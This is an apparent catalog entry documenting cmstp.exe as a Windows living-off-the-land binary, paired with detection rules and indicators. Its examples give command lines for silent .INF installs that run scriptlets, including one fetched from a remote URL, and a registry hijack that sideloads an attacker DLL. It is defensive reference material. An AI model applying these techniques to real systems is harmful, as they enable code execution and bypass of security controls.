windows enabled community high v1.0.0

cmstp

Installs or removes a Connection Manager service profile. Located at: C:\Windows\System32\cmstp.exe; C:\Windows\SysWOW64\cmstp.exe.

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cmstp
cmstp

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command
security.defense-evasion.bypass

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Download and run scriptlets from internet.)

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll. (Execute code hidden within an inf file. Execute code directly from Internet.)

cmstp.exe /ni /s {REMOTEURL:.inf}

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`. (Proxy execution of a malicious DLL via registry modification.)

cmstp.exe /nf

Detection

TypeRule / Indicator
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
splunk https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
elastic https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
elastic https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
ioc Execution of cmstp.exe without a VPN use case is suspicious
ioc DotNet CLR libraries loaded into cmstp.exe
ioc DotNet CLR Usage Log - cmstp.exe.log
ioc Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

Documentation

cmstp

cmstp is a Windows LOLBin. Installs or removes a Connection Manager service profile. Located at: C:\Windows\System32\cmstp.exe; C:\Windows\SysWOW64\cmstp.exe.

References